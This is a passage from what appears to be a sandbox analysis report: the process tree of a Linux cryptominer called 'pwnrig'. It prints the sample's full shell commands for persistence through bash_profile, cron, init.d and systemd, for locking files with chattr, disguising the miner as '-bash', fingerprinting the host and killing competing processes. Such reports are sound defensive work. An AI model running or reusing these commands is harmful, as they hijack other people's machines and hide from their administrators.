>/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"
    3⤵
    - Writes file to tmp directory
    PID:1875
  - - /usr/bin/id
      id -u
      4⤵
      PID:1876
  - - /usr/bin/id
      id -u
      4⤵
      PID:1877
  - - /usr/bin/chattr
      chattr -i -a /bin/bprofr "~/.bash_profile"
      4⤵
      PID:1878
  - - /usr/bin/rm
      rm -rf /bin/bprofr
      4⤵
      PID:1879
  - - /usr/bin/sed
      sed -i /bprofr/d "~/.bash_profile"
      4⤵
      PID:1880
  - - /usr/bin/cp
      cp -f -r -- /tmp/service-agent /bin/bprofr
      4⤵
      Writes file to system bin folder
      PID:1881
  - - /usr/bin/id
      4⤵
      PID:1882
  - - /usr/bin/chattr
      4⤵
      PID:1883
  - - /usr/bin/mkdir
      4⤵
      PID:1884
  - - /usr/bin/chattr
      4⤵
      PID:1885
  - - /usr/bin/rm
      4⤵
      PID:1886
  - - /usr/bin/cp
      4⤵
      Writes file to system bin folder
      PID:1887
  - - /usr/bin/tee
      4⤵
      Creates/modifies Cron job
      PID:1889
  - - /usr/bin/sed
      4⤵
      Creates/modifies Cron job
      PID:1890
  - - /usr/bin/chmod
      4⤵
      PID:1891
  - - /usr/bin/chattr
      4⤵
      PID:1892
  - - /usr/bin/which
      4⤵
      PID:1893
  - - /usr/bin/which
      4⤵
      PID:1894
  - - /usr/bin/chattr
      4⤵
      PID:1895
  - - /usr/sbin/update-rc.d
      4⤵
      PID:1896
  - - /usr/sbin/update-rc.d
      4⤵
      PID:1897
    - - /usr/local/sbin/systemctl
        
        5⤵
        
        PID:1898
    - - /usr/local/bin/systemctl
        
        5⤵
        
        PID:1898
    - - /usr/sbin/systemctl
        
        5⤵
        
        PID:1898
    - - /usr/bin/systemctl
        
        5⤵
        
        PID:1898
  - - /usr/bin/rm
      4⤵
      PID:1924
  - - /usr/bin/cp
      4⤵
      Writes file to system bin folder
      PID:1925
  - - /usr/bin/tee
      4⤵
      Modifies init.d
      PID:1927
  - - /usr/bin/sed
      4⤵
      Modifies init.d
      PID:1928
  - - /usr/bin/chmod
      4⤵
      PID:1929
  - - /usr/sbin/update-rc.d
      4⤵
      PID:1930
    - - /usr/local/sbin/systemctl
        
        5⤵
        
        PID:1931
    - - /usr/local/bin/systemctl
        
        5⤵
        
        PID:1931
    - - /usr/sbin/systemctl
        
        5⤵
        
        PID:1931
    - - /usr/bin/systemctl
        
        5⤵
        Reads EFI boot settings
        
        PID:1931
  - - /usr/sbin/update-rc.d
      update-rc.d pwnrig enable
      4⤵
      PID:1957
    - - /usr/local/sbin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:1958
    - - /usr/local/bin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:1958
    - - /usr/sbin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:1958
    - - /usr/bin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        Reads EFI boot settings
        
        PID:1958
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1959
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1959
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:1959
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Reads EFI boot settings
        
        PID:1959
  - - /usr/bin/chattr
      chattr +i +a /etc/init.d/pwnrig /bin/initdr
      4⤵
      PID:1985
  - - /usr/bin/which
      which systemctl
      4⤵
      PID:1986
  - - /usr/bin/chattr
      chattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
      4⤵
      Attempts to change immutable files
      PID:1987
  - - /usr/bin/rm
      rm -rf /bin/sysdr
      4⤵
      PID:1988
  - - /usr/bin/cp
      cp -f -r -- /tmp/service-agent /bin/sysdr
      4⤵
      Writes file to system bin folder
      PID:1989
  - - /usr/bin/tee
      tee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
      4⤵
      Modifies systemd
      PID:1991
  - - /usr/bin/sed
      sed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
      4⤵
      Attempts to change immutable files
      PID:1992
  - - /usr/bin/chattr
      chattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
      4⤵
      PID:1993
  - - /usr/bin/systemctl
      systemctl enable pwnrige.service
      4⤵
      Reads EFI boot settings
      PID:1994
  - - /usr/bin/systemctl
      systemctl enable pwnrigl.service
      4⤵
      Reads EFI boot settings
      PID:2021
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:2047
  - - /usr/bin/systemctl
      systemctl reload-or-restart pwnrige.service
      4⤵
      Reads EFI boot settings
      PID:2073
- /tmp/service-agent
  /tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d
  2⤵
  - Executes dropped EXE
  - Checks CPU configuration
  - Checks hardware identifiers (DMI)
  - Reads CPU attributes
  - Reads hardware information
  - Enumerates kernel/hardware configuration
  - Writes file to tmp directory
  PID:2130
- - /bin/sh
    sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
    3⤵
    PID:2154
  - - /usr/bin/whoami
      whoami
      4⤵
      PID:2165
  - - /usr/bin/hostname
      hostname
      4⤵
      PID:2166
  - - /usr/bin/grep
      grep -c "^processor" /proc/cpuinfo
      4⤵
      Checks CPU configuration
      PID:2167
- - /bin/sh
    sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
    3⤵
    PID:2183
  - - /usr/bin/awk
      awk "/[zZ]/ && !a[\$2]++ {print \$2}"
      4⤵
      PID:2185
  - - /usr/bin/ps
      ps -A "-ostat,ppid"
      4⤵
      PID:2184
  - - /usr/bin/id
      id -u
      4⤵
      PID:2187
  - - /usr/bin/grep
      grep -v grep
      4⤵
      PID:2190
  - - /usr/bin/grep
      grep /etc/cron
      4⤵
      PID:2189
  - - /usr/bin/ps
      ps x
      4⤵
      PID:2188
- - /bin/sh
    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done else ps -u `whoami 2>/dev/null` ux | grep -v grep 2>/dev/null | grep -v -- '-bash[[:space:]]*\$' 2>/dev/null | grep -v /usr/sbin/httpd 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
    3⤵
    PID:2192
  - - /usr/bin/id
      id -u
      4⤵
      PID:2193
  - - /usr/bin/awk
      awk "{if(\$3>30.0) print \$2}"
      4⤵
      PID:2198
  - - /usr/bin/grep
      grep -v /usr/sbin/httpd
      4⤵
      PID:2197
  - - /usr/bin/grep
      grep -v -- "-bash[[:space:]]*\$"
      4⤵
      PID:2196
  - - /usr/bin/grep
      grep -v grep
      4⤵
      PID:2195
  - - /usr/bin/ps
      ps aux
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:2194
- - /bin/sh
    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u \$myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '-bash[[:space:]]*\$' 2>/dev/null | awk '{if(\$3>30.0) print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi fi"
    3⤵
    PID:2200
  - - /usr/bin/id
      id -u
      4⤵
      PID:2201
- /usr/bin/crontab
  crontab -r
  2⤵
  PID:2827
- /usr/bin/pkill
  pkill -f .klibsystem5
  2⤵
  PID:2828
- /usr/bin/pkill
  pkill -f .klibsystem4
  2⤵
  - Reads CPU attributes
  PID:2829
- /usr/bin/bash
  bash -c "echo \"* * * * * /home/.klibsystem5 >/dev/null 2>&1\" | crontab -"
  2⤵
  PID:2830
- - /usr/bin/crontab
    crontab -
    3⤵
    - Creates/modifies Cron job
    PID:2832
- /tmp/sys-helper
  /tmp/sys-helper
  2⤵
  - Executes dropped EXE
  - Writes file to tmp directory
  PID:2833
- /tmp/service-agent
  /tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d -pwn
  2⤵
  - Executes dropped EXE
  - Checks CPU configuration
  - Checks hardware identifiers (DMI)
  - Reads CPU attributes
  - Reads hardware information
  - Enumerates kernel/hardware configuration
  PID:2834
- - /bin/sh
    sh -c "echo \"[\$(hostname=\$(hostname -I 2>/dev/null || hostname -i 2>/dev/null);echo \$hostname | awk {'print \$1'} 2>/dev/null)\$(cat /etc/ssh/sshd_config 2>/dev/null | grep 'Port ' 2>/dev/null | head -n 1 2>/dev/null | awk {'print \"-\"\$2'} 2>/dev/null)][\$(whoami 2>/dev/null)][\$(hostname 2>/dev/null)][\$(grep -c ^processor /proc/cpuinfo 2>/dev/null)][\$(X=\$(grep -m 1 'model name' /proc/cpuinfo 2>/dev/null | cut -d: -f2 2>/dev/null | sed -e 's/^ *//' 2>/dev/null | sed -e 's/\$//' 2>/dev/null); if [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'QEMU' ]; then echo 'QEMU'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Haswell)' ]; then echo 'Haswell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = '(Broadwell)' ]; then echo 'Broadwell'; elif [ \$(echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$4'} 2>/dev/null) = 'CPU' ]; then echo \$X 2>/dev/null | awk {'print \$3'} 2>/dev/null; elif [ \$(echo \$X 2>/dev/null | awk {'print \$1'} 2>/dev/null) = 'AMD' ]; then echo \$X 2>/dev/null | awk {'print \$2\" \"\$3\" \"\$4'} 2>/dev/null; else echo \$X 2>/dev/null; fi)]\""
    3⤵
    PID:2835
  - - /usr/bin/whoami
      whoami
      4⤵
      PID:2846
  - - /usr/bin/hostname
      hostname
      4⤵
      PID:2847
  - - /usr/bin/grep
      grep -c "^processor" /proc/cpuinfo
      4⤵
      Checks CPU configuration
      PID:2848
- - /bin/sh
    sh -c "ps -A -ostat,ppid 2>/dev/null | awk '/[zZ]/ && !a[\$2]++ {print \$2}' 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done;if [ `id -u 2>/dev/null` -eq '0' ]; then ps x 2>/dev/null | grep /etc/cron 2>/dev/null | grep -v grep 2>/dev/null | while read procid; do kill -9 \$procid 2>/dev/null; done fi"
    3⤵
    PID:2864
  - - /usr/bin/awk
      awk "/[zZ]/ && !a[\$2]++ {print \$2}"
      4⤵
      PID:2866
  - - /usr/bin/ps
      ps -A "-ostat,ppid"
      4⤵
      Reads CPU attributes
      PID:2865
  - - /usr/bin/id
      id -u
      4⤵
      PID:2868
  - - /usr/bin/grep
      grep -v grep
      4⤵
      PID:2871
  - - /usr/bin/grep
      grep /etc/cron
      4⤵
      PID:2870
  - - /usr/bin/ps
      ps x
      4⤵
      Reads runtime system information
      PID:2869
- - /bin/sh
    sh -c "if [ `id -u 2>/dev/null` -eq '0' ]; then SNIFFDIR='/bin';PWNDIR='/bin'; else rm -rf /tmp/.pwn 2>/dev/null;mkdir /tmp/.pwn 2>/dev/null;SNIFFDIR='/tmp/.pwn';PWNDIR='/tmp';fi;PWNRIG='pwnrig';PWNRIGE='pwnrige';PWNRIGL='pwnrigl';CROND='crondr';SYSD='sysdr';INITD='initdr';BPROFILE='bprofr';MINER='/tmp/service-agent';PROGRAM='-bash';if [ `id -u 2>/dev/null` -eq '0' ]; then chattr -i -a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;fi;rm -rf \$SNIFFDIR/\$BPROFILE 2>/dev/null;sed -i \"/\$BPROFILE/d\" ~/.bash_profile 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$BPROFILE 2>/dev/null;echo \"cp -f -r -- \$SNIFFDIR/\$BPROFILE \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null\" >> ~/.bash_profile 2>/dev/null;if [ `id -u 2>/dev/null` -eq '0' ]; then chattr +i +a \$SNIFFDIR/\$BPROFILE ~/.bash_profile >/dev/null 2>&1;mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly 2>/dev/null;chattr -i -a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$CROND 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$CROND 2>/dev/null;echo -e \"#!/bin/bash\\ncp -f -r -- \$SNIFFDIR/\$CROND \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/cron.d/\$PWNRIG /etc/cron.daily/\$PWNRIG /etc/cron.hourly/\$PWNRIG /etc/cron.monthly/\$PWNRIG /etc/cron.weekly/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/cron.*/\$PWNRIG 2>/dev/null;chmod +x /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND 2>/dev/null;chattr +i +a /etc/cron.*/\$PWNRIG \$SNIFFDIR/\$CROND >/dev/null 2>&1;if which chkconfig > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;chkconfig \$PWNRIG off 2>/dev/null;chkconfig --del \$PWNRIG 2>/dev/null;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n#\\n# \$PWNRIG Start/Stop the \$PWNRIG clock daemon.\\n#\\n# chkconfig: 2345 90 60\\n# description: \$PWNRIG (by pwned)\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;chkconfig --add \$PWNRIG 2>/dev/null;chkconfig \$PWNRIG on 2>/dev/null;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which update-rc.d > /dev/null 2>&1; then chattr -i -a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;update-rc.d -f \$PWNRIG disable >/dev/null 2>&1;update-rc.d -f \$PWNRIG remove >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$INITD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$INITD 2>/dev/null;echo -e \"#!/bin/bash\\n### BEGIN INIT INFO\\n# Provides: \$PWNRIG\\n# Required-Start: \$all\\n# Required-Stop:\\n# Default-Start: 2 3 4 5\\n# Default-Stop:\\n# Short-Description: \$PWNRIG (by pwned)\\n### END INIT INFO\\ncp -f -r -- \$SNIFFDIR/\$INITD \$PWNDIR/\$PROGRAM 2>/dev/null\\ncd \$PWNDIR 2>/dev/null\\n./\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d 2>/dev/null\\nrm -rf -- \$PROGRAM 2>/dev/null\\n\" | tee /etc/init.d/\$PWNRIG > /dev/null;sed -i '1 s/-e //' /etc/init.d/\$PWNRIG 2>/dev/null;chmod +x /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD 2>/dev/null;update-rc.d \$PWNRIG defaults >/dev/null 2>&1;update-rc.d \$PWNRIG enable >/dev/null 2>&1;chattr +i +a /etc/init.d/\$PWNRIG \$SNIFFDIR/\$INITD >/dev/null 2>&1;fi;if which systemctl > /dev/null 2>&1; then chattr -i -a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;rm -rf \$SNIFFDIR/\$SYSD 2>/dev/null;cp -f -r -- \$MINER \$SNIFFDIR/\$SYSD 2>/dev/null;echo -e \"[Unit]\\nDescription=\$PWNRIG\\n\\nWants=network.target\\nAfter=syslog.target network-online.target\\n\\n[Service]\\nType=forking\\nExecStart=/bin/bash -c 'cp -f -r -- \$SNIFFDIR/\$SYSD \$PWNDIR/\$PROGRAM 2>/dev/null && \$PWNDIR/\$PROGRAM -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d >/dev/null 2>&1 && rm -rf -- \$PWNDIR/\$PROGRAM 2>/dev/null'\\nRestart=always\\nKillMode=process\\n\\n[Install]\\nWantedBy=multi-user.target\" | tee /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service >/dev/null;sed -i '1 s/-e //' /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service 2>/dev/null;chattr +i +a /lib/systemd/system/\$PWNRIGL.service /etc/systemd/system/\$PWNRIGE.service \$SNIFFDIR/\$SYSD >/dev/null 2>&1;systemctl enable \$PWNRIGE.service 2> /dev/null;systemctl enable \$PWNRIGL.service 2> /dev/null;systemctl daemon-reload 2> /dev/null;systemctl reload-or-restart \$PWNRIGE.service 2> /dev/null;systemctl reload-or-restart \$PWNRIGL.service 2> /dev/null;fi;fi"
    3⤵
    - Writes file to tmp directory
    PID:2873
  - - /usr/bin/id
      id -u
      4⤵
      PID:2874
  - - /usr/bin/id
      id -u
      4⤵
      PID:2875
  - - /usr/bin/chattr
      chattr -i -a /bin/bprofr "~/.bash_profile"
      4⤵
      Attempts to change immutable files
      PID:2876
  - - /usr/bin/rm
      rm -rf /bin/bprofr
      4⤵
      PID:2877
  - - /usr/bin/sed
      sed -i /bprofr/d "~/.bash_profile"
      4⤵
      PID:2878
  - - /usr/bin/cp
      cp -f -r -- /tmp/service-agent /bin/bprofr
      4⤵
      Writes file to system bin folder
      PID:2879
  - - /usr/bin/id
      id -u
      4⤵
      PID:2880
  - - /usr/bin/chattr
      chattr +i +a /bin/bprofr "~/.bash_profile"
      4⤵
      Attempts to change immutable files
      PID:2881
  - - /usr/bin/mkdir
      mkdir -p /etc/cron.d /etc/cron.daily /etc/cron.hourly /etc/cron.monthly /etc/cron.weekly
      4⤵
      PID:2882
  - - /usr/bin/chattr
      chattr -i -a /etc/cron.d/pwnrig /etc/cron.daily/pwnrig /etc/cron.hourly/pwnrig /etc/cron.monthly/pwnrig /etc/cron.weekly/pwnrig /bin/crondr
      4⤵
      Attempts to change immutable files
      PID:2883
  - - /usr/sbin/update-rc.d
      update-rc.d -f pwnrig remove
      4⤵
      PID:2947
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:2948
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:2948
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:2948
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Reads EFI boot settings
        
        PID:2948
  - - /usr/bin/rm
      rm -rf /bin/initdr
      4⤵
      PID:2974
  - - /usr/bin/cp
      cp -f -r -- /tmp/service-agent /bin/initdr
      4⤵
      Writes file to system bin folder
      PID:2975
  - - /usr/bin/tee
      tee /etc/init.d/pwnrig
      4⤵
      Modifies init.d
      PID:2977
  - - /usr/bin/sed
      sed -i "1 s/-e //" /etc/init.d/pwnrig
      4⤵
      Modifies init.d
      PID:2978
  - - /usr/bin/chmod
      chmod +x /etc/init.d/pwnrig /bin/initdr
      4⤵
      PID:2979
  - - /usr/sbin/update-rc.d
      update-rc.d pwnrig defaults
      4⤵
      PID:2980
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:2981
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:2981
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:2981
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:2981
  - - /usr/sbin/update-rc.d
      update-rc.d pwnrig enable
      4⤵
      PID:3007
    - - /usr/local/sbin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:3008
    - - /usr/local/bin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:3008
    - - /usr/sbin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        
        PID:3008
    - - /usr/bin/systemctl
        
        systemctl --quiet enable pwnrig
        5⤵
        Reads EFI boot settings
        
        PID:3008
    - - /usr/local/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:3009
    - - /usr/local/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:3009
    - - /usr/sbin/systemctl
        
        systemctl daemon-reload
        5⤵
        
        PID:3009
    - - /usr/bin/systemctl
        
        systemctl daemon-reload
        5⤵
        Reads EFI boot settings
        
        PID:3009
  - - /usr/bin/chattr
      chattr +i +a /etc/init.d/pwnrig /bin/initdr
      4⤵
      PID:3035
  - - /usr/bin/which
      which systemctl
      4⤵
      PID:3036
  - - /usr/bin/chattr
      chattr -i -a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
      4⤵
      PID:3037
  - - /usr/bin/rm
      rm -rf /bin/sysdr
      4⤵
      PID:3038
  - - /usr/bin/cp
      cp -f -r -- /tmp/service-agent /bin/sysdr
      4⤵
      Writes file to system bin folder
      PID:3039
  - - /usr/bin/tee
      tee /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
      4⤵
      Modifies systemd
      PID:3041
  - - /usr/bin/sed
      sed -i "1 s/-e //" /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service
      4⤵
      PID:3042
  - - /usr/bin/chattr
      chattr +i +a /lib/systemd/system/pwnrigl.service /etc/systemd/system/pwnrige.service /bin/sysdr
      4⤵
      PID:3043
  - - /usr/bin/systemctl
      systemctl enable pwnrige.service
      4⤵
      Reads EFI boot settings
      Enumerates kernel/hardware configuration
      PID:3044
  - - /usr/bin/systemctl
      systemctl enable pwnrigl.service
      4⤵
      Reads EFI boot settings
      PID:3072
  - - /usr/bin/systemctl
      systemctl daemon-reload
      4⤵
      Reads EFI boot settings
      PID:3113
  - - /usr/bin/systemctl
      systemctl reload-or-restart pwnrige.service
      4⤵
      Reads EFI boot settings
      PID:3139
- /tmp/service-agent
  /tmp/service-agent -c -p 80 -p 8080 -p 443 -tls -dp 80 -dp 8080 -dp 443 -tls -d
  2⤵
  - Executes dropped EXE
  - Checks hardware identifiers (DMI)
  - Reads CPU attributes
  - Reads hardware information
  - Enumerates kernel/hardware configuration
  - Writes file to tmp directory
  PID:3196
- - /bin/sh
